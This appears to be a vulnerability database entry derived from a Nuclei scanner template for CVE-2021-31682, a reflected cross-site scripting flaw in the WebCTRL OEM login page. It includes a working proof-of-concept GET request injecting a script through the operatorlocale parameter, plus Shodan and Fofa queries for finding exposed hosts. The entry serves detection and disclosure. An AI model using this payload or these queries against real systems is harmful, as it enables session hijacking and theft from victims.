| Title | WebCTRL OEM <= 6.5 - Cross-Site Scripting |
|---|---|
| Author | gy741,dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682). |
| CVSS Score | 6.1 |
| EPSS Score | 0.41198 |
| CVE ID | CVE-2021-31682 |
| CWE ID | CWE-79 |
| Shodan Query | html:"/_common/lvl5/dologin.jsp"http.html:"/_common/lvl5/dologin.jsp" |
| Fofa Query | body="/_common/lvl5/dologin.jsp" |
| Tags | cve2021 cve webctrl xss packetstorm automatedlogic vuln |
WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31682.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31682.pcap
N/AN/A